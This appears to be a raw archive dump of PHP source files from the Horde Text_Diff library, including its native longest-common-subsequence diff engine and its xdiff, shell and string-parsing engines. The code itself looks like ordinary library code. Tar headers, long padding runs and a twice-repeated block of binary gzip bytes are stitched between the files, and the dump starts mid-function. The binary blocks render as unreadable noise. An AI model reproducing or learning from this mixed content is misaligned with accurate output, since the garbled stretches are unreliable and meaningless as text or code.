                switch (substr($diff[$i], 0, 1)) {
                case '!':
                    $diff2 = array();
                    do {
                        $diff1[] = substr($diff[$i], 2);
                        if ($j < $max_j && substr($diff[$j], 0, 1) == '!') {
                            $diff2[] = substr($diff[$j++], 2);
                        }
                    } while (++$i < $max_i && substr($diff[$i], 0, 1) == '!');
                    $edits[] = new Text_Diff_Op_change($diff1, $diff2);
                    break;

                case '+':
                    do {
                        $diff1[] = substr($diff[$i], 2);
                    } while (++$i < $max_i && substr($diff[$i], 0, 1) == '+');
                    $edits[] = new Text_Diff_Op_add($diff1);
                    break;

                case '-':
                    do {
                        $diff1[] = substr($diff[$i], 2);
                    } while (++$i < $max_i && substr($diff[$i], 0, 1) == '-');
                    $edits[] = new Text_Diff_Op_delete($diff1);
                    break;
                }
            }

            if ($j < $max_j) {
                $diff2 = array();
                switch (substr($diff[$j], 0, 1)) {
                case '+':
                    do {
                        $diff2[] = substr($diff[$j++], 2);
                    } while ($j < $max_j && substr($diff[$j], 0, 1) == '+');
                    $edits[] = new Text_Diff_Op_add($diff2);
                    break;

                case '-':
                    do {
                        $diff2[] = substr($diff[$j++], 2);
                    } while ($j < $max_j && substr($diff[$j], 0, 1) == '-');
                    $edits[] = new Text_Diff_Op_delete($diff2);
                    break;
                }
            }
        }

        return $edits;
    }

}
                                                                                                                                                                                                                                                                                                                                                                     native.php                                                                                          0000644                 00000037261 15212004202 0006540 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * Class used internally by Text_Diff to actually compute the diffs.
 *
 * This class is implemented using native PHP code.
 *
 * The algorithm used here is mostly lifted from the perl module
 * Algorithm::Diff (version 1.06) by Ned Konz, which is available at:
 * https://cpan.metacpan.org/authors/id/N/NE/NEDKONZ/Algorithm-Diff-1.06.zip
 *
 * More ideas are taken from: http://www.ics.uci.edu/~eppstein/161/960229.html
 *
 * Some ideas (and a bit of code) are taken from analyze.c, of GNU
 * diffutils-2.7, which can be found at:
 * ftp://gnudist.gnu.org/pub/gnu/diffutils/diffutils-2.7.tar.gz
 *
 * Some ideas (subdivision by NCHUNKS > 2, and some optimizations) are from
 * Geoffrey T. Dairiki <dairiki@dairiki.org>. The original PHP version of this
 * code was written by him, and is used/adapted with his permission.
 *
 * Copyright 2004-2010 The Horde Project (http://www.horde.org/)
 *
 * See the enclosed file COPYING for license information (LGPL). If you did
 * not receive this file, see https://opensource.org/license/lgpl-2-1/.
 *
 * @author  Geoffrey T. Dairiki <dairiki@dairiki.org>
 * @package Text_Diff
 */
class Text_Diff_Engine_native {

    public $xchanged;
    public $ychanged;
    public $xv;
    public $yv;
    public $xind;
    public $yind;
    public $seq;
    public $in_seq;
    public $lcs;

    function diff($from_lines, $to_lines)
    {
        array_walk($from_lines, array('Text_Diff', 'trimNewlines'));
        array_walk($to_lines, array('Text_Diff', 'trimNewlines'));

        $n_from = count($from_lines);
        $n_to = count($to_lines);

        $this->xchanged = $this->ychanged = array();
        $this->xv = $this->yv = array();
        $this->xind = $this->yind = array();
        unset($this->seq);
        unset($this->in_seq);
        unset($this->lcs);

        // Skip leading common lines.
        for ($skip = 0; $skip < $n_from && $skip < $n_to; $skip++) {
            if ($from_lines[$skip] !== $to_lines[$skip]) {
                break;
            }
            $this->xchanged[$skip] = $this->ychanged[$skip] = false;
        }

        // Skip trailing common lines.
        $xi = $n_from; $yi = $n_to;
        for ($endskip = 0; --$xi > $skip && --$yi > $skip; $endskip++) {
            if ($from_lines[$xi] !== $to_lines[$yi]) {
                break;
            }
            $this->xchanged[$xi] = $this->ychanged[$yi] = false;
        }

        // Ignore lines which do not exist in both files.
        for ($xi = $skip; $xi < $n_from - $endskip; $xi++) {
            $xhash[$from_lines[$xi]] = 1;
        }
        for ($yi = $skip; $yi < $n_to - $endskip; $yi++) {
            $line = $to_lines[$yi];
            if (($this->ychanged[$yi] = empty($xhash[$line]))) {
                continue;
            }
            $yhash[$line] = 1;
            $this->yv[] = $line;
            $this->yind[] = $yi;
        }
        for ($xi = $skip; $xi < $n_from - $endskip; $xi++) {
            $line = $from_lines[$xi];
            if (($this->xchanged[$xi] = empty($yhash[$line]))) {
                continue;
            }
            $this->xv[] = $line;
            $this->xind[] = $xi;
        }

        // Find the LCS.
        $this->_compareseq(0, count($this->xv), 0, count($this->yv));

        // Merge edits when possible.
        $this->_shiftBoundaries($from_lines, $this->xchanged, $this->ychanged);
        $this->_shiftBoundaries($to_lines, $this->ychanged, $this->xchanged);

        // Compute the edit operations.
        $edits = array();
        $xi = $yi = 0;
        while ($xi < $n_from || $yi < $n_to) {
            assert($yi < $n_to || $this->xchanged[$xi]);
            assert($xi < $n_from || $this->ychanged[$yi]);

            // Skip matching "snake".
            $copy = array();
            while ($xi < $n_from && $yi < $n_to
                   && !$this->xchanged[$xi] && !$this->ychanged[$yi]) {
                $copy[] = $from_lines[$xi++];
                ++$yi;
            }
            if ($copy) {
                $edits[] = new Text_Diff_Op_copy($copy);
            }

            // Find deletes & adds.
            $delete = array();
            while ($xi < $n_from && $this->xchanged[$xi]) {
                $delete[] = $from_lines[$xi++];
            }

            $add = array();
            while ($yi < $n_to && $this->ychanged[$yi]) {
                $add[] = $to_lines[$yi++];
            }

            if ($delete && $add) {
                $edits[] = new Text_Diff_Op_change($delete, $add);
            } elseif ($delete) {
                $edits[] = new Text_Diff_Op_delete($delete);
            } elseif ($add) {
                $edits[] = new Text_Diff_Op_add($add);
            }
        }

        return $edits;
    }

    /**
     * Divides the Largest Common Subsequence (LCS) of the sequences (XOFF,
     * XLIM) and (YOFF, YLIM) into NCHUNKS approximately equally sized
     * segments.
     *
     * Returns (LCS, PTS).  LCS is the length of the LCS. PTS is an array of
     * NCHUNKS+1 (X, Y) indexes giving the diving points between sub
     * sequences.  The first sub-sequence is contained in (X0, X1), (Y0, Y1),
     * the second in (X1, X2), (Y1, Y2) and so on.  Note that (X0, Y0) ==
     * (XOFF, YOFF) and (X[NCHUNKS], Y[NCHUNKS]) == (XLIM, YLIM).
     *
     * This function assumes that the first lines of the specified portions of
     * the two files do not match, and likewise that the last lines do not
     * match.  The caller must trim matching lines from the beginning and end
     * of the portions it is going to specify.
     */
    function _diag ($xoff, $xlim, $yoff, $ylim, $nchunks)
    {
        $flip = false;

        if ($xlim - $xoff > $ylim - $yoff) {
            /* Things seems faster (I'm not sure I understand why) when the
             * shortest sequence is in X. */
            $flip = true;
            list ($xoff, $xlim, $yoff, $ylim)
                = array($yoff, $ylim, $xoff, $xlim);
        }

        if ($flip) {
            for ($i = $ylim - 1; $i >= $yoff; $i--) {
                $ymatches[$this->xv[$i]][] = $i;
            }
        } else {
            for ($i = $ylim - 1; $i >= $yoff; $i--) {
                $ymatches[$this->yv[$i]][] = $i;
            }
        }

        $this->lcs = 0;
        $this->seq[0]= $yoff - 1;
        $this->in_seq = array();
        $ymids[0] = array();

        $numer = $xlim - $xoff + $nchunks - 1;
        $x = $xoff;
        for ($chunk = 0; $chunk < $nchunks; $chunk++) {
            if ($chunk > 0) {
                for ($i = 0; $i <= $this->lcs; $i++) {
                    $ymids[$i][$chunk - 1] = $this->seq[$i];
                }
            }

            $x1 = $xoff + (int)(($numer + ($xlim - $xoff) * $chunk) / $nchunks);
            for (; $x < $x1; $x++) {
                $line = $flip ? $this->yv[$x] : $this->xv[$x];
                if (empty($ymatches[$line])) {
                    continue;
                }
                $matches = $ymatches[$line];
                reset($matches);
                while ($y = current($matches)) {
                    if (empty($this->in_seq[$y])) {
                        $k = $this->_lcsPos($y);
                        assert($k > 0);
                        $ymids[$k] = $ymids[$k - 1];
                        break;
                    }
                    next($matches);
                }
                while ($y = current($matches)) {
                    if ($y > $this->seq[$k - 1]) {
                        assert($y <= $this->seq[$k]);
                        /* Optimization: this is a common case: next match is
                         * just replacing previous match. */
                        $this->in_seq[$this->seq[$k]] = false;
                        $this->seq[$k] = $y;
                        $this->in_seq[$y] = 1;
                    } elseif (empty($this->in_seq[$y])) {
                        $k = $this->_lcsPos($y);
                        assert($k > 0);
                        $ymids[$k] = $ymids[$k - 1];
                    }
                    next($matches);
                }
            }
        }

        $seps[] = $flip ? array($yoff, $xoff) : array($xoff, $yoff);
        $ymid = $ymids[$this->lcs];
        for ($n = 0; $n < $nchunks - 1; $n++) {
            $x1 = $xoff + (int)(($numer + ($xlim - $xoff) * $n) / $nchunks);
            $y1 = $ymid[$n] + 1;
            $seps[] = $flip ? array($y1, $x1) : array($x1, $y1);
        }
        $seps[] = $flip ? array($ylim, $xlim) : array($xlim, $ylim);

        return array($this->lcs, $seps);
    }

    function _lcsPos($ypos)
    {
        $end = $this->lcs;
        if ($end == 0 || $ypos > $this->seq[$end]) {
            $this->seq[++$this->lcs] = $ypos;
            $this->in_seq[$ypos] = 1;
            return $this->lcs;
        }

        $beg = 1;
        while ($beg < $end) {
            $mid = (int)(($beg + $end) / 2);
            if ($ypos > $this->seq[$mid]) {
                $beg = $mid + 1;
            } else {
                $end = $mid;
            }
        }

        assert($ypos != $this->seq[$end]);

        $this->in_seq[$this->seq[$end]] = false;
        $this->seq[$end] = $ypos;
        $this->in_seq[$ypos] = 1;
        return $end;
    }

    /**
     * Finds LCS of two sequences.
     *
     * The results are recorded in the vectors $this->{x,y}changed[], by
     * storing a 1 in the element for each line that is an insertion or
     * deletion (ie. is not in the LCS).
     *
     * The subsequence of file 0 is (XOFF, XLIM) and likewise for file 1.
     *
     * Note that XLIM, YLIM are exclusive bounds.  All line numbers are
     * origin-0 and discarded lines are not counted.
     */
    function _compareseq ($xoff, $xlim, $yoff, $ylim)
    {
        /* Slide down the bottom initial diagonal. */
        while ($xoff < $xlim && $yoff < $ylim
               && $this->xv[$xoff] == $this->yv[$yoff]) {
            ++$xoff;
            ++$yoff;
        }

        /* Slide up the top initial diagonal. */
        while ($xlim > $xoff && $ylim > $yoff
               && $this->xv[$xlim - 1] == $this->yv[$ylim - 1]) {
            --$xlim;
            --$ylim;
        }

        if ($xoff == $xlim || $yoff == $ylim) {
            $lcs = 0;
        } else {
            /* This is ad hoc but seems to work well.  $nchunks =
             * sqrt(min($xlim - $xoff, $ylim - $yoff) / 2.5); $nchunks =
             * max(2,min(8,(int)$nchunks)); */
            $nchunks = min(7, $xlim - $xoff, $ylim - $yoff) + 1;
            list($lcs, $seps)
                = $this->_diag($xoff, $xlim, $yoff, $ylim, $nchunks);
        }

        if ($lcs == 0) {
            /* X and Y sequences have no common subsequence: mark all
             * changed. */
            while ($yoff < $ylim) {
                $this->ychanged[$this->yind[$yoff++]] = 1;
            }
            while ($xoff < $xlim) {
                $this->xchanged[$this->xind[$xoff++]] = 1;
            }
        } else {
            /* Use the partitions to split this problem into subproblems. */
            reset($seps);
            $pt1 = $seps[0];
            while ($pt2 = next($seps)) {
                $this->_compareseq ($pt1[0], $pt2[0], $pt1[1], $pt2[1]);
                $pt1 = $pt2;
            }
        }
    }

    /**
     * Adjusts inserts/deletes of identical lines to join changes as much as
     * possible.
     *
     * We do something when a run of changed lines include a line at one end
     * and has an excluded, identical line at the other.  We are free to
     * choose which identical line is included.  `compareseq' usually chooses
     * the one at the beginning, but usually it is cleaner to consider the
     * following identical line to be the "change".
     *
     * This is extracted verbatim from analyze.c (GNU diffutils-2.7).
     */
    function _shiftBoundaries($lines, &$changed, $other_changed)
    {
        $i = 0;
        $j = 0;

        assert(count($lines) == count($changed));
        $len = count($lines);
        $other_len = count($other_changed);

        while (1) {
            /* Scan forward to find the beginning of another run of
             * changes. Also keep track of the corresponding point in the
             * other file.
             *
             * Throughout this code, $i and $j are adjusted together so that
             * the first $i elements of $changed and the first $j elements of
             * $other_changed both contain the same number of zeros (unchanged
             * lines).
             *
             * Furthermore, $j is always kept so that $j == $other_len or
             * $other_changed[$j] == false. */
            while ($j < $other_len && $other_changed[$j]) {
                $j++;
            }

            while ($i < $len && ! $changed[$i]) {
                assert($j < $other_len && ! $other_changed[$j]);
                $i++; $j++;
                while ($j < $other_len && $other_changed[$j]) {
                    $j++;
                }
            }

            if ($i == $len) {
                break;
            }

            $start = $i;

            /* Find the end of this run of changes. */
            while (++$i < $len && $changed[$i]) {
                continue;
            }

            do {
                /* Record the length of this run of changes, so that we can
                 * later determine whether the run has grown. */
                $runlength = $i - $start;

                /* Move the changed region back, so long as the previous
                 * unchanged line matches the last changed one.  This merges
                 * with previous changed regions. */
                while ($start > 0 && $lines[$start - 1] == $lines[$i - 1]) {
                    $changed[--$start] = 1;
                    $changed[--$i] = false;
                    while ($start > 0 && $changed[$start - 1]) {
                        $start--;
                    }
                    assert($j > 0);
                    while ($other_changed[--$j]) {
                        continue;
                    }
                    assert($j >= 0 && !$other_changed[$j]);
                }

                /* Set CORRESPONDING to the end of the changed run, at the
                 * last point where it corresponds to a changed run in the
                 * other file. CORRESPONDING == LEN means no such point has
                 * been found. */
                $corresponding = $j < $other_len ? $i : $len;

                /* Move the changed region forward, so long as the first
                 * changed line matches the following unchanged one.  This
                 * merges with following changed regions.  Do this second, so
                 * that if there are no merges, the changed region is moved
                 * forward as far as possible. */
                while ($i < $len && $lines[$start] == $lines[$i]) {
                    $changed[$start++] = false;
                    $changed[$i++] = 1;
                    while ($i < $len && $changed[$i]) {
                        $i++;
                    }

                    assert($j < $other_len && ! $other_changed[$j]);
                    $j++;
                    if ($j < $other_len && $other_changed[$j]) {
                        $corresponding = $i;
                        while ($j < $other_len && $other_changed[$j]) {
                            $j++;
                        }
                    }
                }
            } while ($runlength != $i - $start);

            /* If possible, move the fully-merged run of changes back to a
             * corresponding run in the other file. */
            while ($corresponding < $i) {
                $changed[--$start] = 1;
                $changed[--$i] = 0;
                assert($j > 0);
                while ($other_changed[--$j]) {
                    continue;
                }
                assert($j >= 0 && !$other_changed[$j]);
            }
        }
    }

}
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               Renderer.php.php.tar.gz                                                                             0000644                 00000003662 15212004206 0011014 0                                                                                                    ustar 00                                                                                                                                                                                                                                                             Y[o6k+NRrIKX]a
X,
G-wIɲnqa7-|Нإ7M?/03˅o/á8~oʛ<pyģQ8mƸ>w{x17U-+%Pߡ_`";Nv%8>c"g{ a&H܋A9WIN]P%	I+)3#gp1='Y(!xhHd:ays	TTC1Z\D.H	m/ќތDti[gΕ+@h93WxsM{ o.XR.aBbx]s&a FdCFD9
m?ڙk/B`rPq˟MF/R)oŔB63.	۾xF<5LX;w)K>I`>H8i"!NaRX2,!)2K-A`GpǙV[ft'؉1vl#x(#3k7TGhj*	=},bbQҾE˒8s϶H1tVa?5&=k=w)UP0[Dӊqn;n;-
bb0([,[EAA붶bjgvn+8$ 59VD:,W׋$
F_جJ%S_ryꗓY찚gh	_sd_锗sE^}#\j+0v} 'Mpaa\DXmpգsg#CSDgLC*tJU%7ҿ tp0xqWzzZ,T
$ST-Ќ$)n릸j:8XOٞJT[-z\>ȑxv΂K}]5<Z<\/ĝl#.?F!zEb{TTFYҳmʛV.NW37T*%1\5еSn4%G%@<[]yz8I M-.wUa-"yip(csϏ&ӿ!855p8ue9>#&*.jGE{F[<R|q{Mb=Aߥ'B!7@ۊгOMbf	xՁUlJbL[m[ͼ4|8Z߽YyAu4?zZ:Tүs>5e29)IibhEAO~>hNdE!̍*G3w6ty<4+o*E£",6c3l*Ne,tet3k}kcoR<\;sËNp}tMm	w)e`yy'ui'IUfϬ̍ı8T7sb/doOT8P^?!:ǞѾQUW#RF޺a7Ƴ]C
_,Q]/	Z֪$aH=5M2TM首5E;weVݶRxKL5kȆaWig3Zou]M
7R^A2o{m:%TŕaaC'/AMi	25idѶ4=s{9L9 H<:CÂ65EcMZ':^,'szx#=03ƹiC9{\RZYSjw̻_ d3o}<Feܠ(9fe4}3Md)zCrLo;=	h^ "                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                Renderer.php.php.tar.gz                                                                             0000644                 00000003662 15212004206 0011014 0                                                                                                    ustar 00                                                                                                                                                                                                                                                             Y[o6k+NRrIKX]a
X,
G-wIɲnqa7-|Нإ7M?/03˅o/á8~oʛ<pyģQ8mƸ>w{x17U-+%Pߡ_`";Nv%8>c"g{ a&H܋A9WIN]P%	I+)3#gp1='Y(!xhHd:ays	TTC1Z\D.H	m/ќތDti[gΕ+@h93WxsM{ o.XR.aBbx]s&a FdCFD9
m?ڙk/B`rPq˟MF/R)oŔB63.	۾xF<5LX;w)K>I`>H8i"!NaRX2,!)2K-A`GpǙV[ft'؉1vl#x(#3k7TGhj*	=},bbQҾE˒8s϶H1tVa?5&=k=w)UP0[Dӊqn;n;-
bb0([,[EAA붶bjgvn+8$ 59VD:,W׋$
F_جJ%S_ryꗓY찚gh	_sd_锗sE^}#\j+0v} 'Mpaa\DXmpգsg#CSDgLC*tJU%7ҿ tp0xqWzzZ,T
$ST-Ќ$)n릸j:8XOٞJT[-z\>ȑxv΂K}]5<Z<\/ĝl#.?F!zEb{TTFYҳmʛV.NW37T*%1\5еSn4%G%@<[]yz8I M-.wUa-"yip(csϏ&ӿ!855p8ue9>#&*.jGE{F[<R|q{Mb=Aߥ'B!7@ۊгOMbf	xՁUlJbL[m[ͼ4|8Z߽YyAu4?zZ:Tүs>5e29)IibhEAO~>hNdE!̍*G3w6ty<4+o*E£",6c3l*Ne,tet3k}kcoR<\;sËNp}tMm	w)e`yy'ui'IUfϬ̍ı8T7sb/doOT8P^?!:ǞѾQUW#RF޺a7Ƴ]C
_,Q]/	Z֪$aH=5M2TM首5E;weVݶRxKL5kȆaWig3Zou]M
7R^A2o{m:%TŕaaC'/AMi	25idѶ4=s{9L9 H<:CÂ65EcMZ':^,'szx#=03ƹiC9{\RZYSjw̻_ d3o}<Feܠ(9fe4}3Md)zCrLo;=	h^ "                                                                                Engine.zip                                                                                          0000644                 00000077134 15212004210 0006474 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       PK       ! @[    	  xdiff.phpnu [        <?php
/**
 * Class used internally by Diff to actually compute the diffs.
 *
 * This class uses the xdiff PECL package (http://pecl.php.net/package/xdiff)
 * to compute the differences between the two input arrays.
 *
 * Copyright 2004-2010 The Horde Project (http://www.horde.org/)
 *
 * See the enclosed file COPYING for license information (LGPL). If you did
 * not receive this file, see https://opensource.org/license/lgpl-2-1/.
 *
 * @author  Jon Parise <jon@horde.org>
 * @package Text_Diff
 */
class Text_Diff_Engine_xdiff {

    /**
     */
    function diff($from_lines, $to_lines)
    {
        array_walk($from_lines, array('Text_Diff', 'trimNewlines'));
        array_walk($to_lines, array('Text_Diff', 'trimNewlines'));

        /* Convert the two input arrays into strings for xdiff processing. */
        $from_string = implode("\n", $from_lines);
        $to_string = implode("\n", $to_lines);

        /* Diff the two strings and convert the result to an array. */
        $diff = xdiff_string_diff($from_string, $to_string, count($to_lines));
        $diff = explode("\n", $diff);

        /* Walk through the diff one line at a time.  We build the $edits
         * array of diff operations by reading the first character of the
         * xdiff output (which is in the "unified diff" format).
         *
         * Note that we don't have enough information to detect "changed"
         * lines using this approach, so we can't add Text_Diff_Op_changed
         * instances to the $edits array.  The result is still perfectly
         * valid, albeit a little less descriptive and efficient. */
        $edits = array();
        foreach ($diff as $line) {
            if (!strlen($line)) {
                continue;
            }
            switch ($line[0]) {
            case ' ':
                $edits[] = new Text_Diff_Op_copy(array(substr($line, 1)));
                break;

            case '+':
                $edits[] = new Text_Diff_Op_add(array(substr($line, 1)));
                break;

            case '-':
                $edits[] = new Text_Diff_Op_delete(array(substr($line, 1)));
                break;
            }
        }

        return $edits;
    }

}
PK       ! S  S  	  shell.phpnu [        <?php
/**
 * Class used internally by Diff to actually compute the diffs.
 *
 * This class uses the Unix `diff` program via shell_exec to compute the
 * differences between the two input arrays.
 *
 * Copyright 2007-2010 The Horde Project (http://www.horde.org/)
 *
 * See the enclosed file COPYING for license information (LGPL). If you did
 * not receive this file, see https://opensource.org/license/lgpl-2-1/.
 *
 * @author  Milian Wolff <mail@milianw.de>
 * @package Text_Diff
 * @since   0.3.0
 */
class Text_Diff_Engine_shell {

    /**
     * Path to the diff executable
     *
     * @var string
     */
    var $_diffCommand = 'diff';

    /**
     * Returns the array of differences.
     *
     * @param array $from_lines lines of text from old file
     * @param array $to_lines   lines of text from new file
     *
     * @return array all changes made (array with Text_Diff_Op_* objects)
     */
    function diff($from_lines, $to_lines)
    {
        array_walk($from_lines, array('Text_Diff', 'trimNewlines'));
        array_walk($to_lines, array('Text_Diff', 'trimNewlines'));

        $temp_dir = Text_Diff::_getTempDir();

        // Execute gnu diff or similar to get a standard diff file.
        $from_file = tempnam($temp_dir, 'Text_Diff');
        $to_file = tempnam($temp_dir, 'Text_Diff');
        $fp = fopen($from_file, 'w');
        fwrite($fp, implode("\n", $from_lines));
        fclose($fp);
        $fp = fopen($to_file, 'w');
        fwrite($fp, implode("\n", $to_lines));
        fclose($fp);
        $diff = shell_exec($this->_diffCommand . ' ' . $from_file . ' ' . $to_file);
        unlink($from_file);
        unlink($to_file);

        if (is_null($diff)) {
            // No changes were made
            return array(new Text_Diff_Op_copy($from_lines));
        }

        $from_line_no = 1;
        $to_line_no = 1;
        $edits = array();

        // Get changed lines by parsing something like:
        // 0a1,2
        // 1,2c4,6
        // 1,5d6
        preg_match_all('#^(\d+)(?:,(\d+))?([adc])(\d+)(?:,(\d+))?$#m', $diff,
            $matches, PREG_SET_ORDER);

        foreach ($matches as $match) {
            if (!isset($match[5])) {
                // This paren is not set every time (see regex).
                $match[5] = false;
            }

            if ($match[3] == 'a') {
                $from_line_no--;
            }

            if ($match[3] == 'd') {
                $to_line_no--;
            }

            if ($from_line_no < $match[1] || $to_line_no < $match[4]) {
                // copied lines
                assert($match[1] - $from_line_no == $match[4] - $to_line_no);
                array_push($edits,
                    new Text_Diff_Op_copy(
                        $this->_getLines($from_lines, $from_line_no, $match[1] - 1),
                        $this->_getLines($to_lines, $to_line_no, $match[4] - 1)));
            }

            switch ($match[3]) {
            case 'd':
                // deleted lines
                array_push($edits,
                    new Text_Diff_Op_delete(
                        $this->_getLines($from_lines, $from_line_no, $match[2])));
                $to_line_no++;
                break;

            case 'c':
                // changed lines
                array_push($edits,
                    new Text_Diff_Op_change(
                        $this->_getLines($from_lines, $from_line_no, $match[2]),
                        $this->_getLines($to_lines, $to_line_no, $match[5])));
                break;

            case 'a':
                // added lines
                array_push($edits,
                    new Text_Diff_Op_add(
                        $this->_getLines($to_lines, $to_line_no, $match[5])));
                $from_line_no++;
                break;
            }
        }

        if (!empty($from_lines)) {
            // Some lines might still be pending. Add them as copied
            array_push($edits,
                new Text_Diff_Op_copy(
                    $this->_getLines($from_lines, $from_line_no,
                                     $from_line_no + count($from_lines) - 1),
                    $this->_getLines($to_lines, $to_line_no,
                                     $to_line_no + count($to_lines) - 1)));
        }

        return $edits;
    }

    /**
     * Get lines from either the old or new text
     *
     * @access private
     *
     * @param array $text_lines Either $from_lines or $to_lines (passed by reference).
     * @param int   $line_no    Current line number (passed by reference).
     * @param int   $end        Optional end line, when we want to chop more
     *                          than one line.
     *
     * @return array The chopped lines
     */
    function _getLines(&$text_lines, &$line_no, $end = false)
    {
        if (!empty($end)) {
            $lines = array();
            // We can shift even more
            while ($line_no <= $end) {
                array_push($lines, array_shift($text_lines));
                $line_no++;
            }
        } else {
            $lines = array(array_shift($text_lines));
            $line_no++;
        }

        return $lines;
    }

}
PK       ! Eћ      
  string.phpnu [        <?php
/**
 * Parses unified or context diffs output from eg. the diff utility.
 *
 * Example:
 * <code>
 * $patch = file_get_contents('example.patch');
 * $diff = new Text_Diff('string', array($patch));
 * $renderer = new Text_Diff_Renderer_inline();
 * echo $renderer->render($diff);
 * </code>
 *
 * Copyright 2005 Örjan Persson <o@42mm.org>
 * Copyright 2005-2010 The Horde Project (http://www.horde.org/)
 *
 * See the enclosed file COPYING for license information (LGPL). If you did
 * not receive this file, see https://opensource.org/license/lgpl-2-1/.
 *
 * @author  Örjan Persson <o@42mm.org>
 * @package Text_Diff
 * @since   0.2.0
 */
class Text_Diff_Engine_string {

    /**
     * Parses a unified or context diff.
     *
     * First param contains the whole diff and the second can be used to force
     * a specific diff type. If the second parameter is 'autodetect', the
     * diff will be examined to find out which type of diff this is.
     *
     * @param string $diff  The diff content.
     * @param string $mode  The diff mode of the content in $diff. One of
     *                      'context', 'unified', or 'autodetect'.
     *
     * @return array  List of all diff operations.
     */
    function diff($diff, $mode = 'autodetect')
    {
        // Detect line breaks.
        $lnbr = "\n";
        if (strpos($diff, "\r\n") !== false) {
            $lnbr = "\r\n";
        } elseif (strpos($diff, "\r") !== false) {
            $lnbr = "\r";
        }

        // Make sure we have a line break at the EOF.
        if (substr($diff, -strlen($lnbr)) != $lnbr) {
            $diff .= $lnbr;
        }

        if ($mode != 'autodetect' && $mode != 'context' && $mode != 'unified') {
            return PEAR::raiseError('Type of diff is unsupported');
        }

        if ($mode == 'autodetect') {
            $context = strpos($diff, '***');
            $unified = strpos($diff, '---');
            if ($context === $unified) {
                return PEAR::raiseError('Type of diff could not be detected');
            } elseif ($context === false || $unified === false) {
                $mode = $context !== false ? 'context' : 'unified';
            } else {
                $mode = $context < $unified ? 'context' : 'unified';
            }
        }

        // Split by new line and remove the diff header, if there is one.
        $diff = explode($lnbr, $diff);
        if (($mode == 'context' && strpos($diff[0], '***') === 0) ||
            ($mode == 'unified' && strpos($diff[0], '---') === 0)) {
            array_shift($diff);
            array_shift($diff);
        }

        if ($mode == 'context') {
            return $this->parseContextDiff($diff);
        } else {
            return $this->parseUnifiedDiff($diff);
        }
    }

    /**
     * Parses an array containing the unified diff.
     *
     * @param array $diff  Array of lines.
     *
     * @return array  List of all diff operations.
     */
    function parseUnifiedDiff($diff)
    {
        $edits = array();
        $end = count($diff) - 1;
        for ($i = 0; $i < $end;) {
            $diff1 = array();
            switch (substr($diff[$i], 0, 1)) {
            case ' ':
                do {
                    $diff1[] = substr($diff[$i], 1);
                } while (++$i < $end && substr($diff[$i], 0, 1) == ' ');
                $edits[] = new Text_Diff_Op_copy($diff1);
                break;

            case '+':
                // get all new lines
                do {
                    $diff1[] = substr($diff[$i], 1);
                } while (++$i < $end && substr($diff[$i], 0, 1) == '+');
                $edits[] = new Text_Diff_Op_add($diff1);
                break;

            case '-':
                // get changed or removed lines
                $diff2 = array();
                do {
                    $diff1[] = substr($diff[$i], 1);
                } while (++$i < $end && substr($diff[$i], 0, 1) == '-');

                while ($i < $end && substr($diff[$i], 0, 1) == '+') {
                    $diff2[] = substr($diff[$i++], 1);
                }
                if (count($diff2) == 0) {
                    $edits[] = new Text_Diff_Op_delete($diff1);
                } else {
                    $edits[] = new Text_Diff_Op_change($diff1, $diff2);
                }
                break;

            default:
                $i++;
                break;
            }
        }

        return $edits;
    }

    /**
     * Parses an array containing the context diff.
     *
     * @param array $diff  Array of lines.
     *
     * @return array  List of all diff operations.
     */
    function parseContextDiff(&$diff)
    {
        $edits = array();
        $i = $max_i = $j = $max_j = 0;
        $end = count($diff) - 1;
        while ($i < $end && $j < $end) {
            while ($i >= $max_i && $j >= $max_j) {
                // Find the boundaries of the diff output of the two files
                for ($i = $j;
                     $i < $end && substr($diff[$i], 0, 3) == '***';
                     $i++);
                for ($max_i = $i;
                     $max_i < $end && substr($diff[$max_i], 0, 3) != '---';
                     $max_i++);
                for ($j = $max_i;
                     $j < $end && substr($diff[$j], 0, 3) == '---';
                     $j++);
                for ($max_j = $j;
                     $max_j < $end && substr($diff[$max_j], 0, 3) != '***';
                     $max_j++);
            }

            // find what hasn't been changed
            $array = array();
            while ($i < $max_i &&
                   $j < $max_j &&
                   strcmp($diff[$i], $diff[$j]) == 0) {
                $array[] = substr($diff[$i], 2);
                $i++;
                $j++;
            }

            while ($i < $max_i && ($max_j-$j) <= 1) {
                if ($diff[$i] != '' && substr($diff[$i], 0, 1) != ' ') {
                    break;
                }
                $array[] = substr($diff[$i++], 2);
            }

            while ($j < $max_j && ($max_i-$i) <= 1) {
                if ($diff[$j] != '' && substr($diff[$j], 0, 1) != ' ') {
                    break;
                }
                $array[] = substr($diff[$j++], 2);
            }
            if (count($array) > 0) {
                $edits[] = new Text_Diff_Op_copy($array);
            }

            if ($i < $max_i) {
                $diff1 = array();
                switch (substr($diff[$i], 0, 1)) {
                case '!':
                    $diff2 = array();
                    do {
                        $diff1[] = substr($diff[$i], 2);
                        if ($j < $max_j && substr($diff[$j], 0, 1) == '!') {
                            $diff2[] = substr($diff[$j++], 2);
                        }
                    } while (++$i < $max_i && substr($diff[$i], 0, 1) == '!');
                    $edits[] = new Text_Diff_Op_change($diff1, $diff2);
                    break;

                case '+':
                    do {
                        $diff1[] = substr($diff[$i], 2);
                    } while (++$i < $max_i && substr($diff[$i], 0, 1) == '+');
                    $edits[] = new Text_Diff_Op_add($diff1);
                    break;

                case '-':
                    do {
                        $diff1[] = substr($diff[$i], 2);
                    } while (++$i < $max_i && substr($diff[$i], 0, 1) == '-');
                    $edits[] = new Text_Diff_Op_delete($diff1);
                    break;
                }
            }

            if ($j < $max_j) {
                $diff2 = array();
                switch (substr($diff[$j], 0, 1)) {
                case '+':
                    do {
                        $diff2[] = substr($diff[$j++], 2);
                    } while ($j < $max_j && substr($diff[$j], 0, 1) == '+');
                    $edits[] = new Text_Diff_Op_add($diff2);
                    break;

                case '-':
                    do {
                        $diff2[] = substr($diff[$j++], 2);
                    } while ($j < $max_j && substr($diff[$j], 0, 1) == '-');
                    $edits[] = new Text_Diff_Op_delete($diff2);
                    break;
                }
            }
        }

        return $edits;
    }

}
PK       ! '5>  >  
  native.phpnu [        <?php
